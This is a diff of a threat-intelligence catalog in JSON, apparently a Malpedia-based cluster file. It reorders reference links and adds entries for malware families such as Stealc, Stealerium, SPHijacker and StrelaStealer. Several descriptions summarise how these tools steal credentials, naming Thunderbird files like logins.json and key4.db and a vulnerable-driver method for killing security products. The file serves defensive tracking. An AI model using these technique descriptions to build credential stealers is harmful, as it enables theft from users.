"refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sorefang", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a", + "https://securelist.com/apt-trends-report-q3-2020/99204/", "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf", - "https://securelist.com/apt-trends-report-q3-2020/99204/" + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a" ], "synonyms": [], "type": [] @@ -42734,8 +45026,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sorgu", - "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east", + "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" ], "synonyms": [], "type": [] @@ -42748,7 +45040,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.soul", - "https://www.fortinet.com/blog/threat-research/unraveling-the-evolution-of-the-soul-searcher-malware" + "https://www.fortinet.com/blog/threat-research/unraveling-the-evolution-of-the-soul-searcher-malware", + "https://research.checkpoint.com/2023/pandas-with-a-soul-chinese-espionage-attacks-against-southeast-asian-government-entities/" ], "synonyms": [ "SoulSearcher" @@ -42763,15 +45056,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.soundbite", - "https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx", - "https://mp.weixin.qq.com/s/xPsEXp2J5IE7wNSMEVC24A", - "https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-1/", "https://go.recordedfuture.com/hubfs/reports/cta-2020-1110.pdf", - "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/", - "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", "https://attack.mitre.org/wiki/Software/S0157", "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", - "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection" + "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/", + "https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-1/", + "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", + "https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx", + "https://mp.weixin.qq.com/s/xPsEXp2J5IE7wNSMEVC24A", + "https://www.secureworks.com/research/threat-profiles/tin-woodlawn" ], "synonyms": [ "denis" @@ -42786,8 +45079,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spaceship", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", - "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf" + "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" ], "synonyms": [], "type": [] @@ -42800,11 +45093,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spark", - "https://www.cybereason.com/blog/new-cyber-espionage-campaigns-targeting-palestinians-part-one", + "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east", "https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign", "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", - "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east", - "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/" + "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "https://www.cybereason.com/blog/new-cyber-espionage-campaigns-targeting-palestinians-part-one" ], "synonyms": [], "type": [] @@ -42838,6 +45131,22 @@ "uuid": "1937c3e0-569d-4eb4-b769-ae5d9cc27755", "value": "Sparksrv" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.spark_rat", + "https://www.sentinelone.com/labs/dragonspark-attacks-evade-detection-with-sparkrat-and-golang-source-code-interpretation/", + "https://blog.exatrack.com/melofee/", + "https://www.microsoft.com/en-us/security/blog/2022/12/21/microsoft-research-uncovers-new-zerobot-capabilities/", + "https://github.com/XZB-1248/Spark" + ], + "synonyms": [], + "type": [] + }, + "uuid": "55c6dce3-650b-4f67-8b47-5f6cd0acb72c", + "value": "SparkRAT" + }, { "description": "", "meta": { @@ -42893,6 +45202,19 @@ "uuid": "bd29030e-d440-4842-bc2a-c173ed938da4", "value": "Spedear" }, + { + "description": "According to Trend Micro, this is a tool designed to disable security products, adopting two approaches to achieve this purpose. One approach terminates the security product process by using a vulnerable driver, zamguard64.sys, published by Zemana (vulnerability designated as CVE-2018-5713). Meanwhile, another approach disables process launching by using a new technique that they named stack rumbling.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.sphijacker", + "https://www.trendmicro.com/en_us/research/23/e/attack-on-security-titans-earth-longzhi-returns-with-new-tricks.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "24541e4c-27b3-4a80-9dca-972f9825d36b", + "value": "SPHijacker" + }, { "description": "", "meta": { @@ -42911,8 +45233,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spider_rat", + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_8_hara_en.pdf", "https://twitter.com/nahamike01/status/1471496800582664193?s=20", - "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_8_hara_en.pdf" + "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf" ], "synonyms": [], "type": [] @@ -42925,12 +45248,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spora_ransom", - "https://github.com/MinervaLabsResearch/SporaVaccination", - "https://nakedsecurity.sophos.com/2017/06/26/how-spora-ransomware-tries-to-fool-antivirus/", - "https://www.linkedin.com/pulse/spora-ransomware-understanding-hta-infection-vector-kevin-douglas", - "https://www.gdatasoftware.com/blog/2017/01/29442-spora-worm-and-ransomware", "https://blog.malwarebytes.com/threat-analysis/2017/03/spora-ransomware/", - "http://malware-traffic-analysis.net/2017/01/17/index2.html" + "https://www.gdatasoftware.com/blog/2017/01/29442-spora-worm-and-ransomware", + "https://github.com/MinervaLabsResearch/SporaVaccination", + "http://malware-traffic-analysis.net/2017/01/17/index2.html", + "https://nakedsecurity.sophos.com/2017/06/26/how-spora-ransomware-tries-to-fool-antivirus/", + "https://www.linkedin.com/pulse/spora-ransomware-understanding-hta-infection-vector-kevin-douglas" ], "synonyms": [], "type": [] @@ -42955,13 +45278,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyder", + "https://speakerdeck.com/aragorntseng/winnti-is-coming-evolution-after-prosecution-at-hitcon2021", "https://securitynews.sonicwall.com/xmlpost/chinas-winnti-spyder-module/", - "https://st.drweb.com/static/new-www/news/2021/march/BackDoor.Spyder.1_en.pdf", + "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques", "https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/", "https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive", - "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques", - "https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf", - "https://vms.drweb.com/virus/?i=23648386" + "https://vms.drweb.com/virus/?i=23648386", + "https://st.drweb.com/static/new-www/news/2021/march/BackDoor.Spyder.1_en.pdf", + "https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf" ], "synonyms": [], "type": [] @@ -42974,18 +45298,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyeye", - "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan%3AWin32%2FSpyeye", - "https://securelist.com/financial-cyberthreats-in-2020/101638/", - "https://krebsonsecurity.com/2010/04/spyeye-vs-zeus-rivalry/", - "https://www.sans.org/reading-room/whitepapers/malicious/clash-titans-zeus-spyeye-33393", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", "https://www.computerworld.com/article/2509482/spyeye-trojan-defeating-online-banking-defenses.html", "https://krebsonsecurity.com/2010/09/spyeye-botnets-bogus-billing-feature/", "http://malwareint.blogspot.com/2010/02/spyeye-bot-part-two-conversations-with.html", - "https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals", "https://www.pcworld.com/article/247252/spyeye_malware_borrows_zeus_trick_to_mask_fraud.html", - "https://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot", - "https://krebsonsecurity.com/2011/04/spyeye-targets-opera-google-chrome-users/" + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan%3AWin32%2FSpyeye", + "https://www.sans.org/reading-room/whitepapers/malicious/clash-titans-zeus-spyeye-33393", + "https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://krebsonsecurity.com/2010/04/spyeye-vs-zeus-rivalry/", + "https://krebsonsecurity.com/2011/04/spyeye-targets-opera-google-chrome-users/", + "https://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot" ], "synonyms": [], "type": [] @@ -42998,30 +45322,30 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.squirrelwaffle", - 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"https://securelist.com/analysis/publications/69953/the-naikon-apt/", - "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf" + "https://securelist.com/analysis/publications/69953/the-naikon-apt/" ], "synonyms": [], "type": [] @@ -43079,8 +45403,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stabuniq", - "https://www.symantec.com/connect/blogs/trojanstabuniq-found-financial-institution-servers", - "http://contagiodump.blogspot.com/2012/12/dec-2012-trojanstabuniq-samples.html" + "http://contagiodump.blogspot.com/2012/12/dec-2012-trojanstabuniq-samples.html", + "https://www.symantec.com/connect/blogs/trojanstabuniq-found-financial-institution-servers" ], "synonyms": [], "type": [] @@ -43100,15 +45424,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "50eb8c54-5828-11e8-8d6b-232bb9329fc0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "8c38460b-fcfd-434e-b258-875854c6aff6", "value": "StalinLocker" }, @@ -43161,15 +45476,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "d0220108-48d7-4056-babc-189048f37a59", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "6df9bbd4-ab32-4d09-afdb-97eed274520a", "value": "StarsyPound" }, @@ -43193,9 +45499,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stashlog", - "https://twitter.com/ESETresearch/status/1433819369784610828", "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html", "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques", + "https://twitter.com/ESETresearch/status/1433819369784610828", "https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive" ], "synonyms": [], @@ -43209,10 +45515,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealbit", - "https://www.cybereason.com/blog/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool", "https://twitter.com/r3c0nst/status/1425875923606310913", + "https://yoroi.company/research/hunting-the-lockbit-gangs-exfiltration-infrastructures/", + "https://www.accenture.com/us-en/blogs/security/stealbit-exmatter-exfiltration-tool-analysis", "https://securelist.com/new-ransomware-trends-in-2022/106457/", - "https://yoroi.company/research/hunting-the-lockbit-gangs-exfiltration-infrastructures/" + "https://www.cybereason.com/blog/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool" ], "synonyms": [ "Corrempa" @@ -43222,6 +45529,34 @@ "uuid": "b98c86d4-1eee-490e-a6f9-e9559322fec8", "value": "StealBit" }, + { + "description": "Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.\r\n\r\nStealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc", + "https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/", + "https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "58a2c661-470e-438d-bea3-bff1ed987ed2", + "value": "Stealc" + }, + { + "description": "According to SecurityScorecard, Stealerium is an open-source stealer available on GitHub. The malware steals information from browsers, cryptocurrency wallets, and applications such as Discord, Pidgin, Outlook, Telegram, Skype, Element, Signal, Tox, Steam, Minecraft, and VPN clients. The binary also gathers data about the infected host, such as the running processes, Desktop and webcam screenshots, Wi-Fi networks, the Windows product key, and the public and private IP address. The stealer employs multiple anti-analysis techniques, such as detecting virtual machines, sandboxes, and malware analysis tools and checking if the process is being debugged. The malware also embedded a keylogger module and a clipper module that replaces cryptocurrency wallet addresses with the threat actor’s addresses if the victim makes a transaction. The stolen information is sent to a Discord channel using a Discord Webhook.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealerium", + "https://github.com/Stealerium/Stealerium", + "https://resources.securityscorecard.com/research/stealerium-detailed-analysis" + ], + "synonyms": [], + "type": [] + }, + "uuid": "bf71f246-7382-486d-996d-c2b7aa8cf89b", + "value": "Stealerium" + }, { "description": "According to PTSecurity, this stealer harvests system information which is then RC4 encrypted and Base64 encoded before sending it to the C2 server.", "meta": { @@ -43237,7 +45572,7 @@ "value": "Stealer0x3401" }, { - "description": "", + "description": "According to Fortinet, StealthWorker is a brute-force malware that has been linked to a compromised e-commerce website with an embedded skimmer that steals personal information and payment details. Before hackers can embed a skimmer, however, the first requirement is for hackers to gain access to their target’s backend. Hacker’s commonly take advantage of vulnerabilities in the Content Management System (CMS) or its plugins to gain entry into the target’s system. Another, simpler option is to use brute force attacks. Though quite slow, this method is still effective against administrators using weak or commonly used passwords.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealthworker", @@ -43293,12 +45628,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stonedrill", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage" + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" ], "synonyms": [], "type": [] @@ -43311,23 +45647,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stop", - "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", - "https://github.com/vithakur/detections/blob/main/STOP-ransomware-djvu/IOC-list", - "https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/", - "https://malienist.medium.com/defendagainst-ransomware-stop-c8cf4116645b", + "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", "https://securelist.com/keypass-ransomware/87412/", - "https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://intel471.com/blog/privateloader-malware", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", "https://www.bleepingcomputer.com/news/security/djvu-ransomware-spreading-new-tro-variant-through-cracks-and-adware-bundles/", - "https://www.gdata.de/blog/1970/01/-35391-finger-weg-von-illegalen-software-downloads", - "https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/", + "https://malienist.medium.com/defendagainst-ransomware-stop-c8cf4116645b", + "https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore", "https://angle.ankura.com/post/102het9/the-stop-ransomware-variant", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://intel471.com/blog/privateloader-malware" + "https://www.gdata.de/blog/1970/01/-35391-finger-weg-von-illegalen-software-downloads", + "https://github.com/vithakur/detections/blob/main/STOP-ransomware-djvu/IOC-list", + "https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/", + "https://www.gdatasoftware.com/blog/2022/01/malware-vaccines", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/", + "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", + "https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/" ], "synonyms": [ "Djvu", @@ -43338,6 +45676,34 @@ "uuid": "447e5d7d-dd23-43b3-8cbc-b835498a49dd", "value": "STOP" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.stormwind", + "https://securelist.com/deathstalker-targets-legal-entities-with-new-janicab-variant/108131/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "98d5a891-f4dd-4c87-a019-1f1e7ab59301", + "value": "Stormwind" + }, + { + "description": "According to Mandiant, STOWAWAY is a publicly available backdoor and proxy. The project supports several types of communication like SSH, socks5. Backdoor component supports upload and download of files, remote shell and basic information gathering.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.stowaway", + "https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government", + "https://blog.exatrack.com/melofee/", + "https://github.com/ph4ntonn/Stowaway" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cd187108-c557-42f8-8e48-1993abb37720", + "value": "STOWAWAY" + }, { "description": "", "meta": { @@ -43350,15 +45716,28 @@ "uuid": "0439c5ec-306e-4473-84f7-50bdb5539fc2", "value": "Stration" }, + { + "description": "According to PCRisk, StrelaStealer seeks to extract email account log-in credentials. At the time of writing, this program targets Microsoft Outlook and Mozilla Thunderbird email clients.\r\n\r\nFollowing successful infiltration, StrelaStealer searches for \"logins.json\" (account/password) and \"key4.db\" (password database) within the \"%APPDATA%\\Thunderbird\\Profiles\\\" directory - by doing so, it can acquire the credentials for Thunderbird.\r\n\r\nAlternatively, if Outlook credentials are targeted - StrelaStealer seeks out the Windows Registry from where it can retrieve the program's key and \"IMAP User\", \"IMAP Server\", as well as the \"IMAP Password\" values. Since the latter is kept in an encrypted form, the malicious program employs the Windows CryptUnprotectData feature to decrypt it prior to exfiltration.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.strelastealer", + "https://medium.com/@DCSO_CyTec/shortandmalicious-strelastealer-aims-for-mail-credentials-a4c3e78c8abc" + ], + "synonyms": [], + "type": [] + }, + "uuid": "17f84079-56b8-4be5-bc59-75c8526b0ce0", + "value": "StrelaStealer" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stresspaint", + "https://arstechnica.com/information-technology/2018/04/tens-of-thousands-of-facebook-accounts-compromised-in-days-by-malware/", "https://security.radware.com/malware/stresspaint-malware-targeting-facebook-credentials/", "https://www.bleepingcomputer.com/news/security/stresspaint-malware-steals-facebook-credentials-and-session-cookies/", - "https://blog.radware.com/security/2018/04/stresspaint-malware-campaign-targeting-facebook-credentials/", - "https://arstechnica.com/information-technology/2018/04/tens-of-thousands-of-facebook-accounts-compromised-in-days-by-malware/" + "https://blog.radware.com/security/2018/04/stresspaint-malware-campaign-targeting-facebook-credentials/" ], "synonyms": [], "type": [] @@ -43371,6 +45750,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.strifewater_rat", + "https://www.secureworks.com/blog/abrahams-ax-likely-linked-to-moses-staff", "https://www.fortinet.com/blog/threat-research/guard-your-drive-from-driveguard", "https://www.cybereason.com/blog/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations" ], @@ -43385,23 +45765,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.strongpity", - "https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://ti.qianxin.com/blog/articles/promethium-attack-activity-analysis-disguised-as-Winrar.exe/", - "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", - "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf", - "https://cybleinc.com/2020/12/31/strongpity-apt-extends-global-reach-with-new-infrastructure/", - "https://mp.weixin.qq.com/s/5No0TR4ECVPp_Xv4joXEBg", - "https://twitter.com/physicaldrive0/status/786293008278970368", - "https://securelist.com/blog/research/76147/on-the-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users/", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/", "https://0xthreatintel.medium.com/uncovering-apt-c-41-strongpity-backdoor-e7f9a7a076f4", - "https://blog.minerva-labs.com/a-new-strongpity-variant-hides-behind-notepad-installation", - "https://anchorednarratives.substack.com/p/recover-your-files-with-strongpity", - "https://mp.weixin.qq.com/s/nQVUkIwkiQTj2pLaNYHeOA", - "https://anchorednarratives.substack.com/p/tracking-strongpity-with-yara", + "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", + "https://citizenlab.ca/2018/03/bad-traffic-sandvines-packetlogic-devices-deploy-government-spyware-turkey-syria/", + "https://ti.qianxin.com/blog/articles/promethium-attack-activity-analysis-disguised-as-Winrar.exe/", + "https://twitter.com/physicaldrive0/status/786293008278970368", + "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf", + "https://mp.weixin.qq.com/s/5No0TR4ECVPp_Xv4joXEBg", + "https://securelist.com/blog/research/76147/on-the-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users/", "https://blogs.blackberry.com/en/2021/11/zebra2104", - "https://citizenlab.ca/2018/03/bad-traffic-sandvines-packetlogic-devices-deploy-government-spyware-turkey-syria/" + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://anchorednarratives.substack.com/p/recover-your-files-with-strongpity", + "https://anchorednarratives.substack.com/p/tracking-strongpity-with-yara", + "https://cybleinc.com/2020/12/31/strongpity-apt-extends-global-reach-with-new-infrastructure/", + "https://blog.minerva-labs.com/a-new-strongpity-variant-hides-behind-notepad-installation", + "https://mp.weixin.qq.com/s/nQVUkIwkiQTj2pLaNYHeOA" ], "synonyms": [], "type": [] @@ -43414,37 +45794,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stuxnet", - "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", - "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", - "https://www.welivesecurity.com/media_files/white-papers/Stuxnet_Under_the_Microscope.pdf", - "https://news.yahoo.com/revealed-how-a-secret-dutch-mole-aided-the-us-israeli-stuxnet-cyber-attack-on-iran-160026018.html", "https://storage.googleapis.com/chronicle-research/STUXSHOP%20Stuxnet%20Dials%20In%20.pdf", - "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", - "https://www.codeproject.com/articles/246545/stuxnet-malware-analysis-paper", - "https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://medium.com/s2wlab/w3-may-en-story-of-the-week-code-signing-certificate-on-the-darkweb-94c7ec437001", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf", - "http://artemonsecurity.blogspot.de/2017/04/stuxnet-drivers-detailed-analysis.html", - "https://www.spiegel.de/netzwelt/web/die-erste-cyberwaffe-und-ihre-folgen-a-a0ed08c9-5080-4ac2-8518-ed69347dc147", - "https://fmmresearch.files.wordpress.com/2020/09/theemeraldconnectionreport_fmmr-2.pdf", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf", + "https://www.codeproject.com/articles/246545/stuxnet-malware-analysis-paper", + "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", + "https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", + "https://www.spiegel.de/netzwelt/web/die-erste-cyberwaffe-und-ihre-folgen-a-a0ed08c9-5080-4ac2-8518-ed69347dc147", + "http://artemonsecurity.blogspot.de/2017/04/stuxnet-drivers-detailed-analysis.html", + "https://www.welivesecurity.com/media_files/white-papers/Stuxnet_Under_the_Microscope.pdf", + "https://fmmresearch.files.wordpress.com/2020/09/theemeraldconnectionreport_fmmr-2.pdf", + "https://news.yahoo.com/revealed-how-a-secret-dutch-mole-aided-the-us-israeli-stuxnet-cyber-attack-on-iran-160026018.html", + "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", "https://fmmresearch.wordpress.com/2020/09/28/the-emerald-connection-equationgroup-collaboration-with-stuxnet/", - "https://media.ccc.de/v/27c3-4245-en-adventures_in_analyzing_stuxnet" + "https://media.ccc.de/v/27c3-4245-en-adventures_in_analyzing_stuxnet", + "https://medium.com/s2wlab/w3-may-en-story-of-the-week-code-signing-certificate-on-the-darkweb-94c7ec437001", + "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "1b63293f-13f0-4c25-9bf6-6ebc023fc8ff", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "6ad84f52-0025-4a9d-861a-65c870f47988", "value": "Stuxnet" }, @@ -43453,9 +45824,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.subzero", + "https://www.focus.de/politik/vorab-aus-dem-focus-volle-kontrolle-ueber-zielcomputer-das-raetsel-um-die-spionage-app-fuehrt-ueber-wirecard-zu-putin_id_24442733.html", "https://cdn.netzpolitik.org/wp-upload/2021/12/2018-08-28_DSIRF_Company-Profile-Gov.redacted.pdf", 